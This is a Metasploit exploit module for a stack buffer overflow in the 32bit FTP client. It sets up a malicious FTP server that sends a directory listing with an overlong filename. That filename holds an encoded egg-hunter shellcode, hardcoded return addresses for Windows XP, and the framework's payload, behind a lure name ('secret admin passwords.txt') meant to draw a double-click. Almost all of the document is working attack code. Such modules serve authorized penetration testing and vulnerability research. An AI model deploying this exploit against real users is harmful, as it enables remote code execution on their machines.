32bit FTP Client Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '32bit FTP Client Stack Buffer Overflow ',
      'Description'    => %q{
          This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
          download a file that has an overly long filename.
      },
      'Author' 	 =>
        [
          'fancy',  # found the bug
          'corelanc0d3r <peter.ve[at]corelan.be>'  # helped writing this module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68703' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\xff\x0a",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED  } ],  #RETN 32bitftp.exe
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-10-12',
      'DefaultTarget'  => 0))

  end

  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end


  def on_client_command_list(c,arg)
      code = 150
      c.put("#{code} OK.\r\n")
      code = 226
      c.put("#{code} Directory ok.\r\n")

      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end
      print_status(" - Data connection set up")

      filename =  "\x02"  #prevent crash
      filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
      filename << " " * 77
      #custom encoded egg hunter
      filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
      filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
      filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
      filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
      filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
      filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
      filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
      filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
      filename << "\x4b\x4f\x4d\x37\x41\x41"
      filename << " " * (target['Offset']-filename.length)

      addr1 = "\x40\x60\x3A\x76"  # RW imm32.dll
      addr2 = "\x44\x54\x48\x00"  # data section 32bitftp.exe
      addr3 = [target.ret].pack('V') # b00m !

      strfile = filename
      strfile << addr3
      strfile << addr2
      strfile << addr1
      strfile << "w00tw00t"
      strfile << payload.encoded

      print_status(" - Sending directory list via data connection")
      dirlist = "-rw-rw-r--    1 1176     1176         1060 Apr 23 23:17  #{strfile}.bin\r\n\r\n"
      conn.put(dirlist)
      conn.close
      print_status(" - LIST sent, wait for user to double click file...")
      return
  end
end